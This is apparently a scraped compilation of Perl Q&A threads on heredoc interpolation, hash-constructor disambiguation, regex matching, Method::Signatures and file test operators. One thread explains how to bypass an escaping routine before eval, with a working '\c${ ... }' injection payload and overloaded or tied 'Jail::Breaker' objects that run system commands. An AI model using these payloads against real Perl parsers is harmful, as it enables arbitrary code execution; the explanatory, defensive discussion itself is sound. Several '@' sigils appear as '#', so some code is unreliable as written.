$i=1;
while($i<3) {
print << "EOT";
def px$i = new E(user)
if (!px$i.hasErrors()) {
println "${px$i.name} / ${px$i.empr.to} OK"
}
EOT
$i++;
}
produces the error:
Can't call method "px" without a package or object reference at borrar.pl line 3.
How can I "escape" the if ?
Thanks.
It's kind of hard to tell what this code is supposed to accomplish, but maybe you want the outer dollar signs in the println statement to be preserved in the final output?
println "\${px$i.name} / \${px$i.empr.to} OK"
With that change, the error-free output I see is:
def px1 = new E(user)
if (!px1.hasErrors()) {
println "${px1.name} / ${px1.empr.to} OK"
}
def px2 = new E(user)
if (!px2.hasErrors()) {
println "${px2.name} / ${px2.empr.to} OK"
}
The command line option -MO=Deparse shows you how Perl has interpreted your code after simplifying it (e.g. converting heredocs to qq{} blocks). e.g.
$ perl -MO=Deparse test.pl
$i = 1;
while ($i < 3) {
print qq[ def px$i = new E(user) \n if (!px$i.hasErrors()) {\n println "${$i->px . 'name';} / ${$i->px . 'empr' . 'to';} OK"\n }\n\n];
++$i;
}
The relevant part is:
println "${$i->px . 'name';} / ${$i->px . 'empr' . 'to';}
Perl has converted ${px$i.name} to ${$i->px . 'name'} !
In perl, ${...} means to evaluate whatever is inside the block, and treat it as a symbolic reference (i.e. a variable name) or a scalar reference, then dereference it to turn it back into a scalar. So Perl tries to execute whatever is inside those blocks, treating their contents as Perl code. This is because your heredoc, "EOT" is like a double-quoted string, and interpolates dollar signs.
Solution is: escape your dollar signs ($ -> \$) or use single quotes and concatenation rather than heredocs.
This should fix the problem.
println "${"px$i.name"} / ${"px$i.empr.to"} OK"
println "px$i.name" / px$i.empr.to OK"
As you have seen, the $px part of the string is getting evaluated. You simply need to escape it:
$i=1;
while($i<3) {
print << "EOT";
def px$i = new E(user)
if (!px$i.hasErrors()) {
println "\${px$i.name} / \${px$i.empr.to} OK"
}
EOT
$i++;
}
Read more about string escaping at perldoc perlop under "Gory details of parsing quoted constructs".
my $format = << 'EOT';
def px%d = new E(user)
if (!px%d.hasErrors()) {
println "${px%d.name} / ${px%d.empr.to} OK"
}
EOT
for my $i ( 1 .. 3 ) {
printf $format, ($i) x 4;
}
Related
Given the following Perl code, how could one get code execution if they control $foo?
sub Parse($)
{
my $dataPt = shift;
my (#toks, $tok, $more);
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
$tok = Parse($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
print("here\n");
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "#" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\#]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push #toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return #toks ? \#toks : undef;
}
$foo = '(test(foo "bar"))';
$ref = \$foo;
ParseAnt $ref;
I believe there is a way to force the parsing function to include an unescaped double quote in the $tok variable before it is processed by eval, but I was not successful in doing so.
I cannot provide more information as this code snippet is used in production.
Edit
Since the (well-meant) changes to the question happened to invalidate an early answer I am adding this note, along with the original version for the reader's convenience (what can be seen under revisions anyway) ---
Original version of this question:
Given the following Perl code, how could one get code execution if they control $str?
my $str = "malicious payload";
die if $str =~ /"/;
$str =~ s{\\(.)|([\$\#]|\\$)}{'\\'.($2 || $1)}sge;
eval qq{"$str"};
You can take advantage of \c to eat an inserted escape character.
\c${ print qq{0wn3d\n}; \'' }
The key code is
$str =~ s{\\(.)|([\$\#]|\\$)}{'\\'.($2 || $1)}sge;
This answer focuses on this as this is all that was provided intially.
There are two ways to inject code:
Closing the string literal.
This would require a literal " in the input, or its production by the validator.
Using a construct that allows code to be embedded.
These are:
$BLOCK
#BLOCK
$NAME[ EXPR ], $NAME->[ EXPR ], $BLOCK[ EXPR ], $$NAME[ EXPR ]
#NAME[ EXPR ], $NAME->#[ EXPR ], #BLOCK[ EXPR ], #$NAME[ EXPR ]
$NAME{ EXPR }, $NAME->{ EXPR }, $BLOCK{ EXPR }, $$NAME{ EXPR }
#NAME{ EXPR }, $NAME->#{ EXPR }, #BLOCK{ EXPR }, #$NAME{ EXPR }
Both EXPR and BLOCK can contain executable code.
There are various ways of getting those sequences into a string.
Fooling the validator into thinking something is already escaped.
Causing an an escape to be treated as something else.
Fooling the validator into escaping what would already escape the sequence.
Through removal of characters from the middle.
Taking advantage of $$ or $\ somehow.
The snippet's intent to is to process \ escapes as Perl would.[1] We can take advantage of \c to eat an escape character. \c eats the next character, so we can use before a $ to each the the validator's attempt to escape the $.
\c${ print qq{0wn3d\n}; \'' }
becomes
"\c\${ print qq{0wn3d\n}; \'' }"
which means
do { print qq{0wn3d\n}; chr(0x1C) }
Kudos to #bananabr for finding \c.
This, in of itself, is surely a bug. Write a parser for your language's escapes.
{ package Jail::Breaker;
use overload
'""' => sub {
my ($self) = #_;
if ($self->[0]++ < 1) {
return $self->[1]
} else {
return qq(";system '$self->[1]';")
}
},
fallback => 1;
sub new {
my ($class, $string) = #_;
bless [0, $string], $class
}
}
my $str = 'Jail::Breaker'->new('ls -la /');
die 'invalid' if $str =~ /"/;
$str =~ s{\\(.)|([\$\#]|\\$)}{'\\'.($2 || $1)}sge;
eval qq{"$str"};
or, similarly,
{ package Jail::Breaker;
use Tie::Scalar;
use parent -norequire => 'Tie::StdScalar';
my $fetched;
sub FETCH {
my ($self) = #_;
if ($fetched++) {
return qq(";system'$$self';")
} else {
return $$self
}
}
}
tie my $str, 'Jail::Breaker', 'ls -la /';
...
Both the solutions use an object which returns something else when read for the first time, and the "evil" string when read later.
I just started work with a new team new place. They told me we return ref instead of value in our perl modules. Also I saw something like return +{foo=>'bar'}; and return {foo=>'bar'}; Whats the difference? And whether to return ref or value?
The + in return +{foo=>'bar'} is completely useless.
First, some background.
The Perl language has ambiguities. Take for example
sub f {
{ } # Is this a hash constructor or a block?
}
{ } is valid syntax for a block ("bare loop").
{ } is valid syntax for a hash constructor.
And both are allowed as a statement!
So Perl has to guess. Perl usually guesses correctly, but not always. You can give it "hints". Unary-+ can be used to do this. Unary-+ is a completely transparent operator; it does nothing at all. However, it must be followed by an expression (not a statement). { } has only one possible meaning as an expression.
+{ } # Must be a hash constructor.
Similarly, you can trick Perl to guess the other way.
{; } # Perl looks ahead, and sees that this must be a block.
Here's an example where Perl guesses wrong:
map { {} } 1..5 # ok. Creates 5 hashes and returns references to them.
map {}, 1..5 # XXX Perl guesses you were using "map BLOCK LIST".
map +{}, 1..5 # ok. Perl parses this as "map EXPR, LIST".
As for the code in the question, return must be followed by an expression (if anything), so there's only one possible interpretation for return { ... };, so the + is completely useless there.
Most people only disambiguate when necessary. Others might add + whenever it's ambiguous (even if Perl would guess right). But this is the first time I've heard of using + in front of every hash constructor.
Whats the difference?
Those are exactly the same, so the + is extraneous. You can see this by using B::Deparse:
$ perl -MO=Deparse -e'sub foo { return { foo => "bar" } }'
sub foo {
return {'foo', 'bar'};
}
-e syntax OK
$ perl -MO=Deparse -e'sub foo { return +{ foo => "bar" } }'
sub foo {
return {'foo', 'bar'};
}
-e syntax OK
In both cases, you're returning a reference to a hash.
As Hunter McMillen said in a comment, there are some cases where you need to use the unary + operator to resolve ambiguity.
For example, to distinguish between an anonymous hash and a block in a map:
$ perl -e'#a = map { $_ => "foo" }, 1..3' # { ... } treated as a block
syntax error at -e line 1, near "},"
Execution of -e aborted due to compilation errors.
$ perl -e'#a = map +{ $_ => "foo" }, 1..3' # { ... } treated as a hashref
And whether to return ref or value?
By "returning a value," I assume your coworkers mean something like this:
sub foo {
my %bar = ( baz => 'qux' );
return %bar; # as opposed to \%bar
}
my %hash = foo();
Subroutines can only return a list of scalars, so this is roughly equivalent to
my %hash = ('baz', 'qux');
If %bar contains many items, copying this list becomes expensive, so it can be better to return a reference instead:
sub foo {
my %bar = ( baz => 'qux' );
return \%bar;
}
my $hashref = foo();
I need some help with this perl regular expression
s/.*?<\?lsmb if\s*?(\S*)\s*?\?>/$1/
in the code below parsing out some non-whitespace chars [A-Z][a-z][0-9][_] surrounded by any number of whitespace and the other chars. I have tried various Perl regular expressions which are all commented out in the program below.
My main problem I think is stopping matching at the end.
The code below runs 8 tests, and I am hoping to find something that passes all 8.
#!/usr/bin/perl
use strict;
use warnings;
use diagnostics;
my $count = 0;
my $t = 0;
#examples of things I need to match, match => catagory
my $self = { 'customerfax' => 'alpha',
'_____' => 'Underscore',
'000000' => 'numeric',
'letter_reason_4' => 'alfa-numeric-underscore',
'customerphone7' => 'alfa-numeric',
'customer_phone' => 'alfa-underscore',
};
# must contain <?lsmb 'varname from $self' ?>
# may contain any amount of whitespace chars where one is depected
# will end with \n that is removed by chop below
my $test1 = qq|<?lsmb if customerfax ?> caacaacac\n|;
my $test2 = qq|<?lsmb if _____ ?> bbb\n|;
my $test3 = qq|<?lsmb if 000000 ?> cccc\n|;
my $test4 = qq|<?lsmb if letter_reason_4 ?><t \></'><><><>\n|; # /
my $test5 = qq| <?lsmb if customerfax ?> |;
my $test6 = qq|<?lsmb if customerphone7 ?> \<?lsmb ignore this >n|;
my $test7 = qq|<?lsmb if customer_phone ?>\n|;
my $test8 = qq| avcscc 34534534 <?lsmb if letter_reason_4 ?> 0xffff\n|;
strip_markup($test1);
strip_markup($test2);
strip_markup($test3);
strip_markup($test4);
strip_markup($test5);
strip_markup($test6);
strip_markup($test7);
strip_markup($test8);
if ($count == 8) { print "Passed All done\n";}
else { print "All done passed $count out of 8 Try again \n"; }
sub strip_markup {
$_= shift;
#print "strip_markup $_ \n";
if (/<\?lsmb if /) {
chop; # gets rid ot the new line
#original
#s/.*?<\?lsmb if (.+?) \?>/$1/;
#What I have tried:
#s/.*?<\?lsmb if(?:\s)*?(\S+?)(?:\s)*?\?>\b/$1/;
s/.*?<\?lsmb if\s*?(\S*)\s*?\?>/$1/;
#s/.*?<\?lsmb if\s*?([A-Za-z0-9_]*?)\s*?\?>/$1/;
#s/.*?<\?lsmb if[\s]*?(\S*?)[\s]*?\?>/$1/;
#s/.*?<\?lsmb if (\S*?) \?>/$1/;
#s/.*?<\?lsmb if (\S+?) \?>/$1/;
#s/.*?<\?lsmb if ([\S]+?)([\s]+?)\?>/$1/;
#s/.*?<\?lsmb if[\s]+([\S]+)[\s]+\?>/$1/;
#s/.*?<\?lsmb if\s*?([\S]*?)\s*?\?>/$1/;
#s/.*?<\?lsmb if\s+?([\S]+?)[\s]+?\?>/$1/;
#s/.*?<\?lsmb if ([\S]+?) \?>/$1/;
#s/.*?<\?lsmb if\s*?([\S_]*?)\s*?\?>/$1/;
#s/.*?<\?lsmb if\s*?([[a-zA-Z]|[\d]|[_]]*?)\s*?\?>/$1/;
#s/.*?<\?lsmb if\s*?([a-zA-Z\d_]*?)\s*?\?>/$1/;
#s/.*?<\?lsmb if\s*?([^[:space:]]+?)\s*?\?>/$1/;
$t++;
print "Test $t ";
#look up the result as the hash key
my $ok = $self->{$_};
if ($ok) {
$count++;
print "OK passed $ok,";
}
print qq|Test Value : '$_' \n|;
}
}
Here are some of the Tests and what they should return:
Test1 = <?lsmb if customerfax ?> caacaacac\n should return customerfax
Test2 = <?lsmb if _____ ?> bbb\n should return _____
Test8 = avcscc 34534534 <?lsmb if letter_reason_4 ?> 0xffff\n
should return letter_reason_4
If my understanding of your requirements is right, the needed phrase is extracted by simple
my ($match) = $string =~ /<\?lsmb \s+ if \s+ (\w+)/x
In the list context the match operator m// returns a list with matches. Even if it's just one, we need the list context – in the scalar context its behavior is different. The list context comes from assigning to a list from it, my (...) =. The /x modifier merely allows us to use spaces inside, for readability. See perlretut for starters.
What may precede <? doesn't have to be specified, since the pattern matches anywhere in the string. The \w is for [A-Za-z0-9_] (see perlrecharclass), what seems to match your examples and description. The \S is more permissive. Nothing is needed after \w+.
Also, there is no need to first test whether the pattern is there
sub strip_markup
{
my ($test_res) = $_[0] =~ /<\?lsmb if (\w+)/;
if ($test_res) {
# ...
}
return $test_res; # return something!
}
There is no reason for the substitution so we use a match.
I understand that you are working with code you can't change, but would still like to comment
No need to remove the newline here. But when you do that, use chomp and not chop
The sub uses global variables. That can lead to bugs. Declare in small scope. Pass
The sub modifies global variables. That often leads to bugs while there is rarely need for it
Use arrays for repetitions of the same thing
This can be organized differently, to separate work more clearly
For example
my #tests = (
qq|<?lsmb if customerfax ?> caacaacac\n|,
# ...
);
my ($cnt, $t);
foreach my $test (#tests)
{
my $test_res = strip_markup($test);
if (defined $test_res) {
$t++;
print "Test $t ";
#look up the result as the hash key
my $ok = $self->{$test_res};
if ($ok) {
$count++;
print "OK passed $ok,";
}
print qq|Test Value : '$_' \n|;
}
else { } # report failure
}
sub strip_markup {
my ($test_res) = $_[0] =~ /<\?lsmb \s+ if \s+ (\w+)/x;
return $test_res;
}
The defined test of $test_res is to allow for falsey things (like 0 or '') to be valid results.
The reporting code can, and should be, in another subroutine.
I'm trying to send arguments to a function and then in that function, join the arguments to make a string.
The code I'm trying
method send_data(\#args) {
my $string = join('%', #args);
print $string . '\n';
}
send_data('test1', 'test2', 'test3');
I know I could do it this way:
my #params = ('test1', 'test2', 'test3');
send_data(\#params);
But I prefer the first method. Without Method::Signatures you would do it this way:
sub send_data {
my (#args) = #_;
my $string = join('%', #args);
print $string . '\n';
}
send_data('test1', 'test2', 'test3');
Help?
With Method::Signatures, if you use method then the first parameter gets consumed as an implicit $self variable leaving only the remaining parameters in #args.
As this function isn't part of a class you should be using func instead of method and in this particular case there's no need for the \ either:
func send_data(#args) {
my $string = join('%', #args);
print $string . '\n';
}
send_data('test1', 'test2', 'test3');
NB: this will also print the literal string \n - if you wanted an actual newline you must enclose the \n in double quotes instead of single quotes.
I'm a beginner and confused about what's happening inside this Perl subroutine.
I'm using only global variables to simplify things, but it's still not working.
I'm simply trying to print a file's read, write and executable attributes using the file test operators with IF statements.
Can anyone point out the problem for me?
Louie
sub getfileattributes {
if (-r $file) {
$attributes[0] = "readable";
} else { $attributes[0] = "not readable"; }
if (-w _) {
$attributes[1] = "writable";
} else { $attributes[1] = "not writable"; }
if (-x _) {
$attributes[2] = "executable";
} else { $attributes[2] = "not executable"; }
}
my #attributes;
my $file;
foreach $file (#ARGV) {
&getfileattributes;
printf "The file $file is %s, %s and %s\n", #attributes;
}
Using global variables is usually quite bad and points to a design error. In this case, the error seems to be that you don't know how to pass arguments to a sub.
Here is the pattern in Perl:
sub I_take_arguments {
# all my arguments are in #_ array
my ($firstarg, $secondarg, #rest) = #_;
say "1st argument: $firstarg";
say "2nd argument: " .($firstarg+1). " (incremented)";
say "The rest is: [#rest]";
}
Subs are invoked like
I_take_arguments(1, 2, "three", 4);
(Do not invoke them as &nameOfTheSub, this makes use of very special behaviour you don't usually want.)
This would print
1st argument: 1
2nd argument: 3
The rest is: [three 4]
Subroutines can return values, either with the return statement or as the value of the last statement that is executed. These subs are equivalent:
sub foo {return "return value"}
sub bar {"return value"}
I would write your getfileattributes as
sub getFileAttributes {
my ($name) = #_;
return
-r $name ? "readable" : "not readable",
-w $name ? "writable" : "not writable",
-x $name ? "executable" : "not executable";
}
What is happening here? I take an argument $name and then return a list of values. The return keyword could be omitted. The return takes a list of values and does not require parens, so I leave them out. The TEST ? TRUE-STATEMENT : FALSE-STATEMENT operator is known from other languages.
Then, in your loop, the sub would be invoked like
for my $filename (#ARGV) {
my ($r, $w, $x) = getFileAttributes($filename);
say "The file $filename is $r, $w and $x";
}
or
foreach my $file (#ARGV) {
my #attributes = getFileAttributes($file);
printf "The file $file is %s, %s and %s\n", #attributes;
}
Notes:
say is like print, but adds a newline at the end. To use it, you have to have a Perl > 5.10 and you should use 5.010 or whatever version or use feature qw(say).
always use strict; use warnings; unless you know better for sure.
Often, you can write programs without assigning to a variable twice (Single assignment form). This can make reasoning about control flow much easier. This is why global variables (but not global constants) are bad.
You are not actually using global varaibles. My scopes the variables them local to the main routine, so when you call the subroutine, $file and #attributes are scoped to the subroutine, not to the main routine.
Change my to our for $file and #attributes to make the variables global and available to the subroutine.
You can check this for yourself by using the -d argument for perl to run it in the debugger and check the values of the items.